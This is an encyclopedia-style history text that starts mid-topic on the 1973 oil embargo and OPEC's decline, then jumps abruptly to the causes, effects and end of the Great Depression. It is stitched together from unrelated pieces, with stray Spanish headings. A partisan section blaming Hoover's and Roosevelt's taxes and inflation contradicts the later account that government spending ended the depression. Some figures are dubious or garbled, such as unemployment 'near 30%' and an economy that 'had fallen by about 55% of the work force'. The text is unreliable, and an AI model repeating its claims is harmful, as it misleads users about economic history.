The Soviet Union was also a net oil exporter and the increase in the price of oil had an immediate effect on that country. The Soviet economy had stagnated for several years and the increase in the price of oil had an immediate and beneficial effect. The increase in foreign currency reserves allowed the import of grain and other foodstuffs from abroad, increased production of consumer goods and the ability to keep military spending at its traditional levels. Some historians believe the windfall in oil revenues during this period kept the Soviet Union in existence for a considerably longer period of time than would otherwise have occurred.


Effects on international relations


The Cold War policies of the Nixon administration also suffered a major blow in the aftermath of the oil embargo. They had focused on China and the Soviet Union, but the latent challenge to U. S. hegemony coming from the Third World was now starkly evident. U. S. power was under attack even in Latin America.


The oil embargo was announced roughly just one month after a right-wing military coup in Chile toppled elected socialist president Salvador Allende on September 11, 1973. The U. S.'s subsequent assistance to this government did little in the short-run to curb the activities of socialist guerrillas in the region. The response of the Nixon administration was to propose doubling of the amount of military arms sold by the United States. As a consequence, a Latin American bloc was organized and financed in part by Venezuela and its oil revenues, which quadrupled between 1970 and 1975.


In addition, Western Europe and Japan began switching from pro-Israel to more pro-Arab policies. This change further strained the Western alliance system, for the United States, which imported only 12 percent of its oil from the Middle East (compared with 80 percent for the Europeans and over 90 percent for Japan), remained staunchly committed to its backing of Israel.


A year after the unveiling of the 1973 oil embargo, the nonaligned bloc in the United Nations passed a resolution demanding the creation of a "new international economic order" in which resources, trade, and markets would be distributed equally."


Decline of OPEC


Since 1973, OPEC failed to hold on to its preeminent position, and by 1981 its production was surpassed by that of other countries. Additionally, its own member nations were divided among themselves. Saudi Arabia, trying to gain back market share and to make the most expensive oil production facilities less profitable or even unprofitable, exerted pressure toward lowering prices. The world price of oil, which had reached a peak in 1979, at more than $80 a barrel (503 $/m³), decreased during the early 1980s to $38 a barrel (239 $/m³). In real prices oil fell back to pre-1973 levels. Overall, the reduction in price was a windfall for the oil-consuming nations (Japan, the consuming nations of Europe and of the Third World especially).


At the same time, the drop in prices represented a serious problem for oil-producing countries in Northern Europe and in the Persian Gulf region. And for a handful of heavily populated, impoverished countries whose economies were largely dependent on oil—including Mexico, Nigeria, Algeria, and Libya—the price drop placed them in wrenching, sometimes desperate situations.


When reduced demand and over-production produced a glut on the world market in the mid-1980s, oil prices plummeted and the cartel lost its unity. Oil exporters such as Mexico, Nigeria, and Venezuela, whose economies had expanded frantically, were plunged into near-bankruptcy, and even Saudi Arabian economic power was significantly weakened. The divisions within OPEC made subsequent concerted action more difficult.


Nevertheless, the 1973 oil shock provided dramatic evidence of the potential power of Third World resource suppliers in dealing with the developed world. The vast reserves of the leading Middle East producers guaranteed the region its strategic importance, but the politics of oil still proves dangerous for all concerned to this day.


In thirty year old British government documents released in January 2004, it was revealed that the United States considered invading Saudi Arabia and Kuwait during the crisis and seizing the oil fields in those countries. According to the BBC, other possibilities, such as the replacement of Arab rulers by "more amenable" leaders, or a show of force by "gunboat diplomacy," were rejected as unlikely.


The Great Depression was a global economic slump that began in the United States following Black Thursday, the Wall Street panic of October 1929. On October 24, 1929, share prices on Wall Street collapsed catastrophically, setting off a chain of bankruptcies and defaults that quickly spread overseas. The events in the United States triggered a worldwide depression, which put hundreds of millions out of work across the capitalist world throughout the 1930s.


The market crash in the U. S. was the final straw for the already shaky world economy. Germany was suffering from hyperinflation, and many of the Allied victors of World War I were having serious problems paying off huge war debts. In the late 1920s, the U. S. economy at first seemed immune to the mounting troubles, but with the start of the 1930s it crashed with startling rapidity.


Causes of the Great Depression


International finance never recovered from the strains of World War I, which caused a dramatic increase in productive capacity, particularly outside Europe, without a corresponding increase in sustained demand. Fixed exchange rates and free convertibility gave way to a compromise—the gold standard—that lacked the stability to rebuild world trade.


In 1929 the world's most prosperous nation was the United States. But despite the confidence in the United States and the apparent economic well-being in other countries, the world economy was in an unhealthy state. One by one, the pillars of the prewar economic system—multilateral trade, the gold standard, and the interchangeability of currencies—began to crumble.


The UK had returned to the gold standard in 1925 but had spent the previous five years managing the gold price down to its pre-war level. This forced a sharp deflation across the economy of the UK and the many other nations that used the Pound Sterling as their national unit of account.


The U. S. economy had been showing some signs of distress for months before October 1929. Commodity prices had been falling worldwide since 1926, reducing the capacity of exporters in the peripheral, undeveloped economies of Latin America, Asia, and Africa to buy products from the core industrial countries such as the United States and the United Kingdom. Business inventories were three times as large as they had been a year before (an indication that the public was not buying products as rapidly as in the past); and other indicators of economic health—freight carloads, industrial production, wholesale prices—were slipping downward.


A maldistribution of purchasing power


A fundamental maldistribution of purchasing power, the greatly unequal distribution of wealth throughout the 1920s, was another factor that contributed to the Great Depression. Wages increased at a rate that was a fraction of the rate at which productivity increased. As production costs fell quickly, wages rose slowly, and prices remained constant, the bulk benefit of the increased productivity went into profits. As industrial and agricultural production increased, the proportion of the profits going to farmers, factory workers, and other potential consumers was far too small to create a market for goods that they were producing. Even in 1929, after nearly a decade of economic growth, more than half the families in America lived on the edge or below the subsistence level—too poor to share in the great consumer boom of the 1920s, too poor to buy the cars and houses and other goods the industrial economy was producing, too poor in many cases to buy even the adequate food and shelter for themselves. As long as corporations had continued to expand their capital facilities (their factories, warehouses, heavy equipment, and other investments), the economy had flourished. Thanks to pressure from the Coolidge administration and the business, the Federal Reserve Board kept the rediscount rate low, encouraging excessive investment. By the end of the 1920s, however, capital investments had created more plant space than could be profitably used, and factories were producing more goods than consumers could purchase.


An increase in margin buying, the act of borrowing money from lenders in order to buy stocks, helped many people invest in the roaring stock market of the 1920s. When the stock market began to decline, the lenders panicked and demanded their money back. This increased the sales of stocks to pay off the loans, but many people remained in debt and the lenders could not get their money back.


A lack of diversification


Another factor was the serious lack of diversification in the American economy of the 1920s. Prosperity had been excessively dependent on a few basic industries, notably construction and automobiles; in the late 1920s, those industries began to decline. Between 1926 and 1929, expenditures on construction fell from $11 billion to under $9 billion. Automobile sales began to decline somewhat later, but in the first nine months of 1929 they declined by more than one third. Once these two crucial industries began to weaken, there was not enough strength in the other sectors of the economy to take up the slack. Even while the automotive industry was thriving in the 1920s, some industries, agriculture in particular, were declining steadily. While the Ford Motor Company was reporting record assets, farm prices plummeted, and the price of food fell precipitously.


Postwar deflationary pressures


During World War I many European nations abandoned the gold standard in an attempt to use inflationary policies to fund wartime expenditures. This had a number of economic consequences in its own right. However what is of particular relevance is that following the war most nations returned to the gold standard at the pre-war gold price. Monetary policy was in effect put into a deflationary setting that would over the next decade slowly grind away at the health of many European economies. Modern advocates of the gold standard, such as proponents of supply-side economics, maintain that the correct policy following World War I would have been to return to the gold standard at the prevailing market price of gold rather than at the pre-war price.


Deflation's impact is particularly hard on sectors of the economy that are in debt. Deflation erodes the price of commodities while increasing the real value of debt. One typical group that is adversely affected is the farm sector.


It should be noted, however, that deflationary forces alone do not fully account for the Great Depression and must be considered in the context of other factors.


The credit structure


Farmers, already deeply in debt, saw farm prices plummet in the late 20s, their implicit real interest rates on loans skyrocket; their land was already mortgaged, and crop prices were too low to allow them to pay off what they owed. Small banks, especially those tied to the agricultural economy, were in constant crisis in the 1920s as their customers defaulted on loans due to the sudden rise in real interest rates; there was a steady stream of failures among these smaller banks throughout the decade.


Although most American bankers in this era were staunchly conservative, some of the nation's largest banks were failing to maintain adequate reserves and were investing recklessly in the stock market or making unwise loans. In other words, the banking system was not well prepared to absorb the shock of a major recession. The banking system as a whole, moreover, was only very loosely regulated by the Federal Reserve System at this time.


The breakdown of international trade


Another factor contributing to the Great Depression was America's position in international trade. Protectionist impulses would drive nations to protect domestic production against competition from foreign imports by erecting high tariff walls. The Hawley-Smoot Tariff Act of June 1930 raised U. S. tariffs to unprecedented levels. It practically closed U. S. borders and, with retaliatory tariffs from U. S. trading partners, caused the immediate collapse of the most important export industry, American agriculture. American foreign trade seriously declined, and the volume of world trade steadily decreased.


Prior to the Great Depression, a petition signed by over 1000 economists was presented to the U. S. government warning that the Hawley-Smoot Tariff Act would bring disastrous economic repercussions, however, this did not stop the act from being signed into law.


Beginning late in the 1920s, European demand for U. S. goods began to decline. That was partly because European industry and agriculture were becoming more productive, and partly because some European nations (most notably Weimar Germany) were suffering serious financial crises and could not afford to buy goods overseas. However, the central issue causing the destabilization of the European economy in the late 1920s was the international debt structure that had emerged in the aftermath of World War I.


When the war came to an end in 1918, all European nations that had been allied with the United States owed large sums of money to American banks, sums much too large to be repaid out of their shattered treasuries. This is one reason why the Allies had insisted (to the consternation of the perhaps historically vindicated Woodrow Wilson) on demanding reparation payments from Germany and Austria. Reparations, they believed, would provide them with a way to pay off their own debts. But Germany and Austria were themselves in deep economic trouble after the war; they were no more able to pay the reparations than the Allies were able to pay their debts.


The debtor nations put strong pressure on the United States in the 1920s to forgive the debts, or at least reduce them. The American government refused. Instead, U. S. banks began making large loans to the nations of Europe. Thus debts (and reparations) were being paid only by augmenting old debts and piling up new ones. In the late 1920s, and particularly after the American economy began to weaken after 1929, the European nations found it much more difficult to borrow money from the United States. At the same time, high U. S. tariffs were making it much more difficult for them to sell their goods in U. S. markets. Without any source of revenues from foreign exchange with which to repay their loans, they began to default.


The high tariff walls critically impeded the payment of war debts. As a result of high U. S. tariffs, only a sort of cycle kept the reparations and war-debt payments going. During the 1920s the former allies paid the war-debt installments to the United States chiefly with funds obtained from German reparations payments, and Germany was able to make those payments only because of large private loans from the United States and Britain. Similarly, U. S. investments abroad provided the dollars, which alone made it possible for foreign nations to buy U. S. exports.


By 1931 the world was reeling from the worst depression of all time, and the entire structure of reparations and war debts collapsed.


In the scramble for liquidity that followed the Great Crash, funds flowed back from Europe to America and Europe's fragile economies crumbled.


Respuestas


The Wall Street crash had ushered in a world-wide financial crisis. In the United States between 1929 and 1933 unemployment soared from approximately 3 percent to 25 percent, while manufacturing output declined by one-third. Governments worldwide sought economic recovery by adopting restrictive autarkic policies (high tariffs, import quotas, and barter agreements) and by experimenting with new plans for their internal economies.


The economic crises due to the depression were a terrible epidemic throughout the United States and many parts of the world. Consumers reduced their purchases of luxury cars, clothes, and many businesses cut production. Big businesses such as General Motors saw their sales drop by 50% in the late 1920s and the early 1930s. This caused businesses to lay off thousand of workers.


When the farm prices fell; small farmers went bankrupt and lost their land. By June of 1932, the American economy had fallen by about 55% of the work force. The Government tried to restore prosperity by spending on welfare and public works.


After the stock market collapse, the New York banks became frightened and called in their loans to Germany and Austria. However, without the American money, Germans had to stop paying reparations to France and Britain. Of course, this was a chain reaction and they could not repay their war loans to America. Therefore, the depression had spread to Europe. All governments were forced to cancel both reparations payments and war loans.


The United States government tried to protect domestic industries from foreign competition by imposing the highest import duty in American history. In retaliation, other countries raised their tariffs on imports of American goods. As a result, global industrial production declined by 36% between 1929 and 1932, while world trade dropped by a breathtaking 62%.


In 1932, the United States had elected President Franklin D. Roosevelt. He proposed the "New Deal", a platform of government programs to stimulate and revitalize the economy. The British and French governments also intervened in their economies and escaped the worst of the depression. Moreover, the Soviet Union put in the five-year plans.


Observers throughout the world saw in the massive program of economic planning and state ownership of the Soviet Union what appeared to be a depression-proof economic system and a solution to the crisis in capitalism.


In Germany unemployment increased drastically, fueling widespread disillusionment and anger. The institutions of the Weimar Republic, which had already been standing on shaky ground, started cracking in the years from 1930 to 1932, while Chancellor and finance expert Heinrich Brüning was trying to fix the economy by drastically cutting state spending. At the time, the NSDAP gained much popularity, winning the two general elections in 1932, which eventually led to the appointment of Adolf Hitler as Chancellor on January 30, 1933. (See Weimar Republic for details.) In Nazi Germany economic recovery was pursued through rearmament, conscription, and public works programs. In Mussolini's Italy the economic controls of his corporate state were tightened.


In the United Kingdom, the Labour government of Ramsay MacDonald, and later the Conservative-dominated "National Government" responded to the depression by imposing tariffs on all imports except those of the British Empire (which arguably worsened the global situation), by cutting public spending, and by abandoning the Gold Standard which reduced the cost of British exports. (see Great Depression in the United Kingdom).


As the U. S. and international economy crashed in the 1920’s, the self-correction of the economy was put into question.


In response, Herbert Hoover became the first Keynesian President – even before Keynes published “The General Theory” (however, in the 1920’s, Keynes did publish many other books, essays and articles promoting his ideology). During the 1932 elections, Franklin Delano Roosevelt blasted the Republican incumbent for spending and taxing too much, increasing national debt, raising tariffs and blocking trade, as well as placing millions on the dole of the government. He attacked Herbert Hoover for "reckless and extravagant" spending, of thinking "that we ought to center control of everything in Washington as rapidly as possible," and of leading "the greatest spending administration in peacetime in all of history." Roosevelt's running mate, John Nance Garner, accused the Republican of "leading the country down the path of socialism.


Between 1930 and 1931, government spending increased from 16.4% to 21.5%. To pay for it, in 1932, Hoover raised taxes. Most Americans saw their tax rates double, with the top rate rising from 24% to 63% (more than 2.5 times). As a direct result of the tax hike, unemployment immediately jumped more than 2% to near 30%.


Franklin Roosevelt ran on a platform that called for a 25-percent reduction in federal spending, a balanced federal budget, decreased government regulation of the private enterprise, and an end to the "extravagance" of Hoover's farm programs. Yet despite calling the above promises “a covenant” during the 1932 elections, FDR and his VP built on Hoover’s policies. Rexford Guy Tugwell, one of the architects of Franklin Roosevelt's policies of the 1930s, admitted, "We didn't admit it at the time, but practically the whole New Deal was extrapolated from programs that Hoover started."


The new administration, however, did sharply reverse course on the monetary policy, reducing the value of the dollar by 40%, causing sharp inflation, which is just as undesirable as deflation. [14] The FDR inflation did not resolve the Hoover problem of under-consumption and over-production since many business already closed doors or fired employees and/or got rid of their reserve at any price (afterall, their goods were being devalued daily in Hoover’s deflationary environment). So rather than help business, FDR inflation merely harmed consumers and shocked the economy. Furthermore, people quickly realized that their money are being devalued and ran to the bank to withdraw everything they had for immediate consumption. This and the surrounding economic depression caused several banks to go bankrupt, leading to a popular panic about the safety of investments and savings. The panic caused more people to withdraw money from banks, causing more harm to the economy.


Roosevelt’s response was to increase taxes and spending. In the first year of the New Deal, Roosevelt proposed spending $10 billion while revenues were only $3 billion. Between 1933 and 1936, the federal government’s expenses increased by over 83 percent. Federal debt skyrocketed by 73 percent. FDR’s 1933 minimum wage requirements caused 550,000 African-Americans alone to lose their jobs.


Roosevelt engaged in multiple tax increases, resulting in the highest income tax rate standing at 90%. In 1941, FDR proposed a tax of 99.5% on all income over $100,000. When Congress refused, the President issued on August 27, 1942 an executive order imposing a 100% (one-hundred percent) income tax on all income over $25,000. [18] In November 1942, Republicans won the mid-term elections and passed a law against the Democrat’s executive order (a statute passed by Congress and either signed by the President or over the President’s veto is supreme to the President’s executive order, as per United States Constitution).


Yet, tax increases by Hoover and Roosevelt did not produce increased tax revenue. In 1929, 98% of Americans did not pay income tax and income tax rates for the top 2% ranged from 0.5% to 24%. By 1935, tax exemptions were lowered so that almost all workers paid taxes ranging from 5% to 79%. Yet, revenue from income tax down from almost $1.1 billion to $0.527 billion! [20] The upper class either stopped investing, or began investing oversees or in tax-exempt products. So while the “working class” had to toil for increasingly lower take-home wages, constantly subject to salary decreases due to tax hikes, the wealthy elites simply stashed their money away and either changed investments or lived off of interest. The rich don’t need to pay taxes – they can simply stop investing if it is not worth their time and effort. The working class needs to keep working and keep paying higher taxes. Since the rich have so much more than the poor, tax revenue necessarily decreases.


But the government needed money to pay for all the jobs it was “creating.” Unable to tax investments and unable to collect enough revenue by taxing the working class, the FDR administration skyrocketed taxation on consumer goods, from cars to food. As a result, excise taxes on goods brought increasingly high revenue, rising from $500 million in 1929 to $1.36 billion in 1935. Sales taxes are necessarily regressive and harm the poor the most. Afterall, $100 in sales taxes paid by a person earning $10,000 constitutes 1% of the person’s salary, while at the same time $100 constitutes only 0.1% of the salary earned by a person making $100,000. Thus, rather than helping the poor and the working class, tax raises were implemented on them, while the wealthy were simply forced to find different ways to invest.


Secretary of the Treasury Henry Morganthau admitted in May 1939, "We have tried spending money. We are spending more than we have ever spent before and it does not work. And I have just one interest, and now if I am wrong somebody else can have my job. I want to see this country prosper. I want to see people get a job. I want to see people get enough to eat. We have never made good on our promises. I say after eight years of this administration, we have just as much unemployment as when we started. And enormous debt to boot."


And yet people were grateful to FDR for creating jobs. The Works Projects Administration (WPA) “created” 5 million jobs, according to New Deal supporters. But unemployment did not decrease. And where did the government get the money to pay for all these jobs? Did it have a separate source of income? No. The FDR administration killed jobs with tax increases and then “helped” people by providing them with government jobs. Jobs were merely transferred from the private to the public sector, causing dependence on government bureaucracy.


Life during the Depression


In the so-called Dust Bowl, a massive area of the great plains consisting mainly of Kansas, Oklahoma, and parts of Texas, people found themselves unable to make a living. On top of the economic crisis, the earth withered and blew away in a series of massive dust storms. For a farming people this was disastrous, and these migrants were led westward by advertisements for work put out by agribusiness in western states such as California. The migrants came to be called Okies, Arkies, and other derogatory names as they flooded the labor supply of the agricultural fields, driving down wages and increasing competition for jobs in a place that couldn't afford it. This story was dramatized in the famous novel The Grapes of Wrath by John Steinbeck.


Internacional


Many other nations, athough not all, experienced a similar decline, though the severity and timing differed from country to country. For example, Britain hit its trough in the third quarter of 1932, while France did not reach its low point until April of 1935.


End of the Great Depression


It was not until the U. S. entered World War II that Roosevelt's ideas for massive public expenditures and deficit spending truly began to bear fruit. Roosevelt's administration, of course, had little choice but to increase expenditures, given the war effort. Even given the special circumstances of war mobilization, New Deal policies seemed to work exactly as predicted, winning over many Republicans, who had been the New Deal's greatest opponents. When the Great Depression was brought to an end by the Second World War, it was obvious that the turnaround had been caused primarily by the reinforcement of business through government expenditure.


New Deal programs sought to stimulate demand and provide work and relief for the impoverished through increased government spending: the theories behind the New Deal were backed up later by the writings of British economist John Maynard Keynes. In 1929 federal expenditures constituted only 3 percent of the GDP. Between 1933 and 1939, federal expenditure tripled, and Roosevelt's critics accused him of turning America into a socialist state.


However, spending on the New Deal was far smaller than on the war effort. In the first peacetime year of 1946, federal spending still amounted to $62 billion, or 30 percent of GDP. In short, federal expenditures went from 3 percent of the GDP in 1929 to about a third in 1945. The big surprise was just how productive America became: spending financially cured the depression. Between 1939 and 1944 (the peak of wartime production), the nation's output more than doubled. Consequently, unemployment plummeted—from 19.0 percent in 1938 to 1.2 percent in 1944 as the labor force grew by ten million. The war economy was not so much a triumph of free enterprise as the result of government/business sectionalism, of the Federal government bankrolling business. While unemployment remained high throughout the New Deal years, consumption, investment, and exports—the pillars of economic growth—remained low. It was World War II, not the New Deal, which finally ended the crisis. Nor did the New Deal substantially alter the distribution of power within American capitalism; it had only a small impact on the distribution of wealth among the population (the effect of the war on this, however, was massive: the years immediately following the war played host to the narrowest wealth gap between rich and poor in American history, according to most estimates).


The Great Depression was not the longest depression on record, that title being held by the Long Depression of the late nineteenth century, nor was it the sharpest contraction, the one after the First World War being a deeper drop. It has commonly been described as the "deepest" depression in history as no other contraction was so deep for so long.


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